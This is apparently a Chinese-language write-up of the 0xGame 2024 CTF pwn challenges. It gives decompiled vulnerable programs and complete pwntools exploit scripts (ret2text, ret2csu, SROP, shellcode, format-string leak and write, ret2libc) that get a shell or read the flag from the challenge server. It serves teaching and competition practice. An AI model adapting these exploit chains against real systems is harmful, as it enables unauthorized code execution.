0xGame 2024 Pwn Writeup
Week 1
test your nc
没啥好说的, nc 直接连就行
pwntools 计算题
1
2
3
4
5
6
7
8
9
10
11
12
13
|
from pwn import *
context.log_level = 'debug'
r = remote('47.97.58.52', 40010)
for _ in range(100):
r.recvuntil(b'====\n')
expr = r.recvuntil(b'=', drop=True)
ans = eval(expr)
r.sendline(str(ans).encode())
r.interactive()
|
stack overflow
1
2
3
4
5
6
7
8
9
|
[*] '/home/ubuntu/Pwn/0xGame/week_1/stack_overflow/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
|
1
2
3
4
5
6
7
8
9
10
11
12
13
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[32]; // [rsp+0h] [rbp-20h] BYREF
init(argc, argv, envp);
signal(11, getflag);
puts("Alice has made a new doll.");
puts("What name do you want to give her:");
gets(s);
if ( strlen(s) <= 0x27 )
puts("She may like a longer name.");
return 0;
}
|
简单栈溢出, ret2text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
# p = process('./pwn')
p = remote('47.97.58.52', 40001)
ret = 0x4012C2
payload = b'a' * 40 + p64(ret)
p.sendline(payload)
p.interactive()
|
positive
1
2
3
4
5
6
7
8
9
|
[*] '/home/ubuntu/Pwn/0xGame/week_1/positive/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE v4[40]; // [rsp+0h] [rbp-30h] BYREF
char buf[4]; // [rsp+28h] [rbp-8h] BYREF
size_t nbytes; // [rsp+2Ch] [rbp-4h]
init(argc, argv, envp);
puts("The new doll can walk now!");
puts("How many steps do you wang her to walk:");
read(0, buf, 4uLL);
LODWORD(nbytes) = atoi(buf);
if ( (int)nbytes > 16 )
{
puts("She's just a child .She can't walk too long!");
exit(0);
}
puts("And you can set to leave something while she's walking:");
read(0, v4, (unsigned int)nbytes);
return 0;
}
|
和上题一样也是 ret2text
这里读入的 nbytes 在判断的时候用的是 int, 后续 read 时反而是用了 unsigned init, 存在整数溢出漏洞, 因此先输入 -1 就行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# p = process('./pwn')
p = remote('47.97.58.52', 40002)
p.sendlineafter(b'walk:\n', b'-1')
ret = 0x40126f
payload = b'a' * 0x38 + p64(ret)
p.sendlineafter(b'walking:\n', payload)
p.interactive()
|
find_me
main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-14h]
unsigned int seed; // [rsp+10h] [rbp-10h]
int i; // [rsp+1Ch] [rbp-4h]
init(argc, argv, envp);
seed = time(0LL);
puts("Can you find THE DOLL among so many similar dolls ?");
srand(seed);
v4 = rand() % 100;
for ( i = 0; i < v4; ++i )
open("/fake_flag", 0);
open("/flag", 0);
puts("Your turn!");
close(1);
do_bad();
return 0;
}
|
do_bad
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
void do_bad()
{
int num; // eax
int v1; // eax
int v2; // eax
int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 1; ++i )
{
num = read_num();
if ( num )
{
if ( num == 1 )
{
v2 = read_num();
write(v2, &what, 0x50uLL);
}
}
else
{
v1 = read_num();
read(v1, &what, 0x50uLL);
}
}
}
|
程序会随机 open 一些假的 /fake_flag, 然后 open 真的 /flag, 注意此时的 flag 并没有 close 因此 fd (File Descriptor) 还是存在的
然后 do_bad 函数给了你两次调用 read 和 write 的机会
首先这里用了以当前时间为种子的伪随机数, 存在被预测的风险, 利用 ctypes 库可以在 Python 中调用 C 语言函数
然后后续通过 read 将真正的 flag 读入, 再通过 write 写入 stderr (注意 stdout 被程序 close 了 close(1)
)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
from pwn import *
import ctypes
import time
context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# p = process('./pwn_patch')
p = remote('47.97.58.52', 40003)
lib = ctypes.cdll.LoadLibrary('./libc.so.6')
seed = lib.time(0)
lib.srand(seed)
v = lib.rand() % 100
fd = 3 + v
p.recvuntil(b'Your turn!\n')
p.sendline(b'0')
time.sleep(0.1)
p.sendline(str(fd).encode())
time.sleep(0.1)
p.sendline(b'1')
time.sleep(0.1)
p.sendline(b'2') # stderr
time.sleep(0.1)
p.interactive()
|
程序启动时默认会有三个 fd: 0 1 2, 分别对应 stdin stdout stderr, 因此后续通过 open 打开的其它文件, fd 是从 3 开始的
where_is_my_binsh
1
2
3
4
5
6
7
8
9
|
[*] '/home/ubuntu/Pwn/0xGame/week_1/where_is_my_binsh/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
|
1
2
3
4
5
6
7
8
9
10
11
12
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF
init(argc, argv, envp);
puts("Thers's no more THAT THING in doll house.");
puts("If you want it ,then you have to create it:");
read(0, &something, 0x10uLL);
puts("Do you find what you want now ?");
read(0, buf, 0x40uLL);
return 0;
}
|
存在后门函数, 但是没有了 /bin/sh
, something 位于 bss 段
因此可以将 /bin/sh
写入 bss 段, 然后找一个 pop rdi ; ret
的 gadget, 最后 call _system
即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# p = process('./pwn')
p = remote('47.97.58.52', 40004)
system_call = 0x401237
pop_rdi_ret = 0x401323
bss_addr = 0x404090
payload = flat([
b'a' * 0x18,
pop_rdi_ret,
bss_addr,
system_call
])
p.recvuntil(b'it:\n')
p.sendline(b'/bin/sh')
p.recvuntil(b'now ?\n')
p.sendline(payload)
p.interactive()
|
ret2csu
1
2
3
4
5
6
7
8
9
|
[*] '/home/ubuntu/Pwn/0xGame/week_1/ret2csu/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
|
main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
init(argc, argv, envp);
write(1, "It's night now.\n", 0x11uLL);
write(1, "The little doll is tired, say goodnight to her~\n", 0x31uLL);
read(0, &something, 0x10uLL);
write(1, "She looks like she's asleep.\n", 0x1EuLL);
write(1, "What else do you want to do?\n", 0x1EuLL);
read(0, buf, 0x60uLL);
if ( strlen(buf) > 0x10 )
{
write(1, "Take easy. Don't wake her up. Let's go.\n", 0x29uLL);
exit(0);
}
write(1, "Her sleeping face is lovely, right? Time to go.\n", 0x31uLL);
return 0;
}
|
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/medium-rop/#ret2csu
后门函数给了一个 execve, 但是用 ROPgadget/ropper 找不到传递 rdx 的 gadget
这道题的思路是 ret2csu, __libc_csu_init
是用来对 libc 进行初始化操作的, 一般情况下只要是用到了 libc 的程序基本上都有这个函数, 因此它也是 x64 下一个很通用的 gadget
ret2csu 按我的理解就是一种可以控制 rdi rsi rdx 等一些寄存器的手段 (x64 调用约定), 当程序中找不到合适的 gadget 时, 便会使用 ret2csu
loc_4013A0 部分为 gadget 2, loc_4013B6 部分为 gadget 1
用 gadget 1 可以控制 rbx rbp r12 r13 r14 r15 这几个寄存器, 然后通过 ret (结合 ROP) 可以继续跳转到 gadget 2
在 gadget 2 中又可以控制 rdx rsi edi (虽然 edi 大小只有 32 位, 但其实大部分参数高 32 位都是 0, 因此可以近似的认为控制 rdi)
同时注意 gadget 2 中会调用一次 call, 即 call [r15+rbx*8]
, 因此控制好 r15 和 rbx 就可以跳转到程序的其它部分
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# p = process('./pwn')
p = remote('47.97.58.52', 40005)
# rdi = /bin/sh
# rsi = 0, rdx = 0
call_execve = 0x40126d
bss_binsh = 0x404090
bss_execve = bss_binsh + 8
csu_gadget_1 = 0x4013ba
csu_gadget_2 = 0x4013a0
# rbx + 1 = rbp
payload = flat([
b'aaaaaaa\0',
b'a' * 0x10,
csu_gadget_1,
0, # rbx
1, # rbp
bss_binsh, # r12 -> edi
0, # r13 -> rsi
0, # r14 -> rdx
bss_execve, # r15
csu_gadget_2,
])
p.recvuntil(b'her~\n')
p.send(b'/bin/sh\0' + p64(call_execve))
p.recvuntil(b'do?\n')
p.sendline(payload)
p.interactive()
|
exp 先将 /bin/sh
和 call execve 的地址写入 bss 段, 然后通过 ret2csu 控制 edi, rsi, rdx 寄存器, 最后在 gadget 2 部分调用 call, 跳转到 execve 实现 RCE
Week 2
SROP
1
2
3
4
5
6
7
8
|
[*] '/home/ubuntu/Pwn/0xGame/week_2/srop/pwn'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
signed __int64 sub_401021()
{
signed __int64 v0; // rax
signed __int64 v1; // rax
size_t v2; // rbp
char v4[80]; // [rsp+0h] [rbp-50h] BYREF
v0 = sys_write(1u, buf, 7uLL);
v1 = sys_read(0, v4, 0x400uLL);
v2 = -1LL;
do
++v2;
while ( v4[v2] );
return sys_write(1u, v4, v2);
}
|
程序只有很小一段, 考点是 SROP (Sigreturn Oriented Programming)
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/
简单来说当栈溢出的空间足够大时, 可以利用 sigreturn syscall 恢复所有寄存器的状态 (通过存储在用户态栈上的 Signal Frame, 长度为 248), 通过多个 Signal Frame 可以实现类似 ROP Chain 的效果, 因此被叫做 SROP
CTF Wiki 里对于 SROP 的例题, 其 exp 构造是非常精巧的, 而这道题相对来说会更简单一些, 不需要泄露任何地址
ROPgadget/ropper 找不到任何能控制 rax 的 gadget, 因此这里对于 rax 的控制就需要用到 sys_write, 该函数会将写入的字符数量 (\x00
之前) 返回, 而众所周知函数的返回值就使用 rax 传递的
因此通过控制字符串的数量, 就可以控制 rax, 进而调用 sigreturn syscall
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
from pwn import *
from time import sleep
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# p = process('./pwn')
p = remote('47.97.58.52', 42011)
syscall_ret = 0x040100a
buf = 0x403000 - 0x200
main_addr = 0x401021
read_frame = SigreturnFrame()
read_frame.rax = 0
read_frame.rdi = 0
read_frame.rsi = buf
read_frame.rdx = 8
read_frame.rsp = buf
read_frame.rip = syscall_ret
payload = flat([
b'a' * 15 + b'\x00',
b'b' * 64,
syscall_ret,
read_frame
])
p.sendlineafter(b'> ', payload)
sleep(0.1)
p.send(p64(main_addr))
sleep(0.1)
execve_frame = SigreturnFrame()
execve_frame.rax = 59
execve_frame.rdi = 0x402f08 # gdb
execve_frame.rsi = 0x0
execve_frame.rsp = buf
execve_frame.rip = syscall_ret
payload = flat([
b'a' * 15 + b'\x00',
b'b' * 64,
syscall_ret,
execve_frame,
b'/bin/sh\x00',
])
p.sendafter(b'> ', payload)
sleep(0.1)
p.interactive()
|
这里需要构造两个 SigreturnFrame
第一个 SigreturnFrame 用于调用 read syscall 将后续的 payload 存入 data 段的 buf, 同时修改了 rsp 和 rip, rsp 指向 buf 实现类似栈迁移的效果, rip 控制 sigreturn 完成后执行的下一个指令
read 调用后会将 main 函数的地址存入 buf 上, 后续 ret 时便会重新执行一遍 main 的流程
第二个 SigreturnFrame 用于调用 execve syscall, 因为已经进行了栈迁移, 所以栈地址是已知的, 进而就可以知道传入 payload 的 /bin/sh
的栈地址 (可用 gdb 调试), 即 rdi, 后续再控制其它几个寄存器就行
Shellcode-lv0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int i; // [rsp+Ch] [rbp-14h]
char *buf; // [rsp+10h] [rbp-10h]
bufinit(argc, argv, envp);
buf = (char *)mmap((void *)0x20240000, 0x1000uLL, 7, 34, -1, 0LL);
printf("Show me what you want to run: ");
read(0, buf, 0x100uLL);
for ( i = 0; i <= 255; ++i )
;
puts("Well Im kinda lazy, so I'll randomly drop some work......");
v3 = rand();
((void (*)(void))&buf[v3 % 256])();
return 0;
}
|
程序会将传入的内容当作 shellcode 执行, 但是会随机的将 buf 的前几段丢弃
可以在 shellcode 前面加入一大段的 nop, 这样即使丢弃了也只是 nop 的部分, 最终仍然能确保 CPU 会滑行到 shellcode 的位置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# p = process('./pwn')
p = remote('47.97.58.52', 42012)
payload = asm(shellcraft.sh()).rjust(0x100, b'\x90') # nop
p.recvuntil(b': ')
p.sendline(payload)
p.interactive()
|
Shellcode-lv1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int i; // [rsp+Ch] [rbp-14h]
char *buf; // [rsp+10h] [rbp-10h]
bufinit(argc, argv, envp);
buf = (char *)mmap((void *)0x20240000, 0x1000uLL, 7, 34, -1, 0LL);
printf("Show me what you want to run: ");
read(0, buf, 0x100uLL);
for ( i = 0; i <= 255; ++i )
;
puts("Well Im kinda lazy, so I'll randomly drop some work......");
sandbox();
puts("Also, no exec for you this time!");
v3 = rand();
((void (*)(void))&buf[v3 % 256])();
return 0;
}
|
和上一题类似, 但是把 exec 系列的 syscall 给禁止了
解决办法是 orw, 即 open read write 一套流程走过去把 flag 输出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
from re import I
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# p = process('./pwn')
p = remote('47.97.58.52', 42013)
# shellcode = shellcraft.open('/flag') + shellcraft.read('rax', 'rsp', 0x100) + shellcraft.write(1, 'rsp', 0x100)
shellcode = shellcraft.cat('/flag')
payload = asm(shellcode).rjust(0x100, b'\x91') # xchg ecx, eax
p.recvuntil(b': ')
p.send(payload) # not sendline
p.interactive()
|
看 writeup 说是把 nop ban 了但好像没有? 不过换成其它的指令也没有影响, 例如 xchg ecx, eax
同时 shellcraft 除了 open read write 以外还有个 cat, 功能等同于 orw
最后发送 shellcode 的时候不要用 sendline, 不然会有奇怪的问题
Syscall playground
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
|
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+8h] [rbp-58h] BYREF
int v4; // [rsp+Ch] [rbp-54h] BYREF
unsigned int v5; // [rsp+10h] [rbp-50h] BYREF
signed int i; // [rsp+14h] [rbp-4Ch]
int v7; // [rsp+18h] [rbp-48h]
int avail_buffer; // [rsp+1Ch] [rbp-44h]
__int64 s; // [rsp+20h] [rbp-40h] BYREF
__int64 v10; // [rsp+28h] [rbp-38h]
__int64 v11; // [rsp+30h] [rbp-30h]
__int64 v12; // [rsp+38h] [rbp-28h]
__int64 v13; // [rsp+40h] [rbp-20h]
__int64 v14; // [rsp+48h] [rbp-18h]
unsigned __int64 v15; // [rsp+58h] [rbp-8h]
v15 = __readfsqword(0x28u);
bufinit(argc, argv, envp);
while ( 1 )
{
puts("1. Prepare a buffer");
puts("2. Recycle a buffer");
puts("3. Initiate a syscall with glibc wrapper");
printf("Your choice: ");
__isoc99_scanf("%d", &v3);
if ( v3 == 3 )
{
puts("Now I will initiate a syscall with glibc wrapper");
printf("Which syscall do you want to call: ");
__isoc99_scanf("%d", &v4);
printf("Input the arguments count: ");
__isoc99_scanf("%d", &v5);
s = 0LL;
v10 = 0LL;
v11 = 0LL;
v12 = 0LL;
v13 = 0LL;
v14 = 0LL;
memset(&s, 0, 0x30uLL);
for ( i = 0; i < (int)v5; ++i )
{
printf("Input the argument %d: ", i);
__isoc99_scanf("%llu", &s + i);
}
printf("Initating syscall %d with %d arguments\n", v4, v5);
v7 = syscall(v4, s, v10, v11, v12, v13, v14);
printf("Syscall returned with code %d\n", v7);
LABEL_18:
puts("Invalid choice");
}
else
{
if ( v3 > 3 )
goto LABEL_18;
if ( v3 == 1 )
{
avail_buffer = find_avail_buffer();
if ( avail_buffer == -1 )
{
puts("No available buffer");
}
else
{
buffers[avail_buffer] = malloc(0x400uLL);
printf(
"Buffer %d is prepared. Size: %d, located at %p\n",
avail_buffer,
1024,
(const void *)buffers[avail_buffer]);
printf("Input your data: ");
read(0, (void *)buffers[avail_buffer], 0x400uLL);
puts("Data is stored");
}
}
else
{
if ( v3 != 2 )
goto LABEL_18;
printf("Which buffer do you want to recycle: ");
__isoc99_scanf("%d", &v5);
if ( v5 <= 5 && buffers[v5] )
{
free((void *)buffers[v5]);
buffers[v5] = 0LL;
printf("Buffer %d is recycled\n", v5);
}
else
{
puts("Invalid buffer");
}
}
}
}
}
|
看起来那么多代码但实际上只是搓了一套调用 syscall 的流程, 直接用 execve 就行
注意需要先申请一段 buffer 存入 /bin/sh
字符串, 然后把这个 buffer 的地址当作 syscall 传入的第一个参数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
from pwn import *
from time import sleep
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# p = process('./pwn')
p = remote('47.97.58.52', 42010)
p.sendlineafter(b'choice: ', b'1')
p.recvuntil(b'located at ')
addr = p.recvuntil(b'\n', drop=True)
p.sendafter(b'data: ', b'/bin/sh\0')
sleep(0.1)
p.sendlineafter(b'choice', b'3')
sleep(0.1)
p.sendlineafter(b'call: ', b'59')
sleep(0.1)
p.sendlineafter(b'count: ', b'3')
sleep(0.1)
rsi = b'0'
rdx = b'0'
rdi = str(int(addr, 16)).encode()
for i in [rdi, rsi, rdx]:
p.sendlineafter(b': ', i)
sleep(0.1)
p.interactive()
|
boom
init
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
unsigned __int64 init()
{
int fd; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(0x3Cu);
fd = open("/dev/random", 0);
if ( fd < 0 )
{
puts("open /dev/random failed");
exit(1);
}
if ( (int)read(fd, secret, 0x30uLL) < 0 )
{
puts("read /dev/random failed");
exit(1);
}
return __readfsqword(0x28u) ^ v2;
}
|
main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[56]; // [rsp+0h] [rbp-40h] BYREF
unsigned __int64 v5; // [rsp+38h] [rbp-8h]
v5 = __readfsqword(0x28u);
init(argc, argv, envp);
puts("The doll seems to have its own mind.");
puts("Can you guess what's her thinking?");
read(0, buf, 0x30uLL);
if ( strcmp(buf, secret) )
{
puts("No no no~");
puts("You're unable to know her heart yet.");
exit(1);
}
puts("WOW,you can get her!");
puts("Here's your gift.");
system("/bin/sh");
return 0;
}
|
程序会随机生成一个 secret 字符串, 输入的 buf 必须和 secret 相等才能 getshell
但这里用了 strcmp, 因此就会存在 \x00
截断的问题, 在生成 secret 时会有 1/256 的概率生成一个以 \x00
开头的字符串, 进而绕过 strcmp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
while True:
# p = process('./pwn')
p = remote('47.97.58.52', 42000)
p.sendafter(b'thinking?', b'\x00' * 0x30)
p.recvline()
res = p.recvline()
print(res)
if b'WOW' in res:
break
# p.kill()
p.close()
p.interactive()
|
1
2
3
4
5
6
7
8
9
|
[*] '/home/ubuntu/Pwn/0xGame/week_2/ez_format/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
init(argc, argv, envp);
open("/flag", 0);
read(3, &flag, 0x30uLL);
close(3);
puts("We've told her a SECRET.");
puts("Can you talk to her and get it ?");
while ( 1 )
{
printf("Say something:");
read(0, buf, 0x20uLL);
puts("\nShanghai!");
printf(buf);
puts("Shanghai!\n");
}
}
|
patchelf 替换 ld 和 libc
1
2
3
|
# 注意指定的 so 前面需要加 ./
patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./pwn
patchelf --replace-needed libc.so.6 ./libc.so.6 ./pwn
|
格式化字符串漏洞, 需要泄露 bss 段上的 flag
程序开启了 PIE, data 段和 code 段都会随机化, 因此需要先泄露 PIE 基址
32 位格式化字符串的参数全部都会从栈上取值, 64 位前五个参数则会先从 rsi rdx r10 r8 r9 取值, 然后再从栈上取
不过这里有个注意点, 当输入的格式化字符串长度不大于 64 位时, 会将字符串直接放到 rdi, 例如这里输入的 %7$p
否则的话, 仍然会将字符串放到栈上, 然后在 rdi 内存一个指向栈上的指针, 例如这里输入的 aaaabbbb\n
因此先输入 %7$p
, 第七个位置是 __libc_csu_init
的地址, 泄露之后可以计算出 PIE 基址
然后输入 %7$saaaa<bss flag addr>
, 字符串会被分配到栈上, 地址在第七个位置, 进而读到 flag 内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# p = process('./pwn_patch')
p = remote('47.97.58.52', 42001)
e = ELF('./pwn_patch')
payload = b'%7$p'
p.recvuntil(b':')
p.sendline(payload)
p.recvuntil(b'Shanghai!\n')
lib_csu_init_addr = int(p.recv(14), 16)
print('__libc_csu_init addr', hex(lib_csu_init_addr))
pie_base_addr = lib_csu_init_addr - e.symbols['__libc_csu_init']
bss_flag_addr = pie_base_addr + 0x40c0
print('pie base addr:', hex(pie_base_addr))
print('bss flag addr:', hex(bss_flag_addr))
payload = b'%7$saaaa' + p64(bss_flag_addr)
p.recvuntil(b':')
p.sendline(payload)
p.interactive()
|
fmt2shellcode
1
2
3
4
5
6
7
8
9
|
[*] '/home/ubuntu/Pwn/0xGame/week_2/fmt2shellcode/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
init();
mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
puts("Try to teach her to do something.");
while ( 1 )
{
printf("Say something:");
read(0, buf, 0x20uLL);
if ( !strcmp(buf, "stop") )
break;
puts("\nShanghai!");
printf(buf);
puts("Shanghai!\n");
}
if ( key == 26318864 )
{
puts("She understand you and will do what you say!");
read(0, (void *)0x114514000LL, 0x50uLL);
MEMORY[0x114514000]();
}
puts("Goodbye~");
return 0;
}
|
格式化字符串漏洞, 需要修改 key 的值, 然后执行 shellcode
思路同上一题, 先泄露 __libc_csu_init
计算 PIE 基址, 然后利用 %hhn
进行任意地址写, 每次写 1 个字节
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
from pwn import *
from time import sleep
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# p = process('./pwn_patch')
p = remote('47.97.58.52', 42002)
e = ELF('./pwn_patch')
def fmt(prev, word, index):
fmtstr = b''
if prev < word:
result = word - prev
fmtstr = b'%' + str(result).encode() + b'c'
elif prev == word:
pass
else:
result = 256 + word - prev
fmtstr = b'%' + str(result).encode() + b'c'
fmtstr += b'%' + str(index).encode() + b'$hhn'
return fmtstr
payload = b'%7$p\x00'
p.recvuntil(b':')
p.send(payload)
p.recvuntil(b'Shanghai!\n')
libc_csu_init_addr = int(p.recvuntil('Shanghai', drop=True), 16)
pie_base_addr = libc_csu_init_addr - e.symbols['__libc_csu_init']
key_addr = pie_base_addr + 0x04068
print('__libc_csu_init addr:', hex(libc_csu_init_addr))
print('pie base addr:', hex(pie_base_addr))
print('key addr:', hex(key_addr))
# 0x00114514
target = 0x01919810
for i in range(8):
payload = fmt(0, (target >> i * 8) & 0xff, 8).ljust(0x10, b'a') # ljust unit must 16 bits
payload += p64(key_addr + i)
p.recvuntil(b':')
p.send(payload)
sleep(0.1)
p.recvuntil(':')
p.send('stop\0')
p.recvuntil('say!')
p.send(asm(shellcraft.sh()))
p.interactive()
|
这里需要注意, 在进行任意地址写时, 生成的 payload 需要 ljust 到 16 位, 以使得格式化字符串分配在栈上
ret2libc
1
2
3
4
5
6
7
8
9
|
[*] '/home/ubuntu/Pwn/0xGame/week_2/ret2libc/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
|
1
2
3
4
5
6
7
|
ssize_t vuln()
{
_BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF
puts("Does a dynamic doll need libc ?");
return read(0, buf, 0x100uLL);
}
|
常规的 ret2libc, 第一次泄露 puts GOT 然后跳回到 main, 第二次构造 ROP 执行 system, 注意 16 字节对齐
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# p = process('./pwn_patch')
p = remote('47.97.58.52', 42003)
e = ELF('./pwn_patch')
libc = ELF('./libc.so.6')
puts_got = 0x404018
puts_plt = 0x401070
pop_rdi_ret = 0x4012c3
ret = 0x40101a
main_addr = e.symbols['main']
payload = flat([
b'a' * 0x28,
pop_rdi_ret,
puts_got,
puts_plt,
main_addr
])
p.recvuntil(b'?\n')
p.sendline(payload)
puts_addr = u64(p.recvuntil(b'\n', drop=True).ljust(0x8, b'\x00'))
libc_base_addr = puts_addr - libc.symbols['puts']
print('leak puts addr:', hex(puts_addr))
print('libc base addr:', hex(libc_base_addr))
system_addr = libc_base_addr + libc.symbols['system']
binsh_addr = libc_base_addr + next(libc.search(b'/bin/sh'))
payload = flat([
b'a' * 0x28,
pop_rdi_ret,
binsh_addr,
ret,
system_addr
])
p.recvuntil(b'?\n')
p.sendline(payload)
p.interactive()
|
Week 3
where_is_my_stack
1
2
3
4
5
6
7
8
9
|
[*] '/home/ubuntu/Pwn/0xGame/week_3/where_is_my_stack/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
|
1
2
3
4
5
6
7
|
ssize_t vuln()
{
_BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF
puts("Every doll has her fixed place,but not stack ~");
return read(0, buf, 0x30uLL);
}
|
栈溢出但是限制了溢出的长度, 只有 0x30 字节, 因此需要栈迁移 (Stack Pivoting)
